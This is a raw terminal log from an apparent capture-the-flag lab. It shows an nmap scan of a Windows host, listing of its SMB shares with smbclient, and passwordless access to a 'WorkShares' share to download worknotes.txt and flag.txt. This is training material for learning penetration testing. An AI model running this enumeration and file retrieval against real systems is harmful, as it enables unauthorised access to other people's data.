ubuntu@ip:~$ nmap -sV 10.129.166.135 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 10:00 UTC Nmap scan report for ip-10-129-166-135.us-west-1.compute.internal (10.129.166.135) Host is up (0.076s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.26 seconds
ubuntu@ip:~$ smbclient -L 10.129.166.135 Password for [WORKGROUP\ubuntu]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC WorkShares Disk SMB1 disabled -- no workgroup available
ubuntu@ip:~$ smbclient \\\\10.129.166.135\\WorkShares Password for [WORKGROUP\ubuntu]: Try "help" to get a list of possible commands. smb: \> help ? allinfo altname archive backup blocksize cancel case_sensitive cdchmod chown close del deltree dir duechoexit get getfacl geteas hardlink helphistory iosize lcd link lock lowercase ls l mask md mget mkdir more mput newer notify open posix posix_encrypt posix_open posix_mkdir posix_rmdir posix_unlink posix_whoami print prompt put pwd q queue quit readlink rd recurse reget rename reput rmrmdir showacls setea setmode scopy stat symlink tar tarmode timeout translate unlock volume vuid wdel logon listconnect showconnect tcon tdis tid utimes logoff .. !
smb: \> ls . D 0 Mon Mar 29 08:22:01 2021 .. D 0 Mon Mar 29 08:22:01 2021 Amy.J D 0 Mon Mar 29 09:08:24 2021 James.P D 0 Thu Jun 3 08:38:03 2021
5114111 blocks of size 4096. 1752067 blocks available
smb: \> cd Amy.J\ smb: \Amy.J\> ls . D 0 Mon Mar 29 09:08:24 2021 .. D 0 Mon Mar 29 09:08:24 2021 worknotes.txt A 94 Fri Mar 26 11:00:37 2021
5114111 blocks of size 4096. 1752067 blocks available
smb: \Amy.J\> get worknotes.txt getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
smb: \Amy.J\> cd ..
smb: \> ls . D 0 Mon Mar 29 08:22:01 2021 .. D 0 Mon Mar 29 08:22:01 2021 Amy.J D 0 Mon Mar 29 09:08:24 2021 James.P D 0 Thu Jun 3 08:38:03 2021
5114111 blocks of size 4096. 1752067 blocks available
smb: \> cd James.P\
smb: \James.P\> ls . D 0 Thu Jun 3 08:38:03 2021 .. D 0 Thu Jun 3 08:38:03 2021 flag.txt A 32 Mon Mar 29 09:26:57 2021
5114111 blocks of size 4096. 1752051 blocks available
smb: \James.P\> get flag.txt getting file \James.P\flag.txt of size 32 as flag.txt (0.1 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \James.P\> exit
ubuntu@ip:~$ ls flag.txt lab_KILLMEN.ovpn lab_KILLMEN1.ovpn snap starting_point_KILLMEN.ovpn worknotes.txt
ubuntu@ip:~$ cat worknotes.txt - start apache server on the linux machine - secure the ftp server - setup winrm on dancing ubuntu@ip-172-31-17-119:~$
